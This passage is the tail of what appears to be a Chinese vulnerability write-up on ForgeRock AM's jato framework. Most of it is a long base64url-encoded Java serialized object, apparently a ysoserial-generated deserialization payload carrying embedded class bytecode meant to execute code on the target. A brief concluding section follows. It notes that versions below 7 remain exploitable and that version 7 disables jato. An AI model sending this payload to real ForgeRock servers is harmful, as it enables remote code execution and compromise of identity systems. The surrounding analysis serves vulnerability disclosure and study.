AAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$
0x04 总结
这个漏洞分析有些曲折,主要是原先没用过ForgeRock的AM。但是这个在7以下版本还是可以通杀是不错的,主要是jato已经比较长时间没有更新了,新版的7的修复方法是直接仅用了jato,官方也给出了对于6.x的修复方法。缺了一步动态调试触发POC那里,以后有机会补上。由于水平有限,所以希望各位大佬不吝赐教,大家一起共同进步。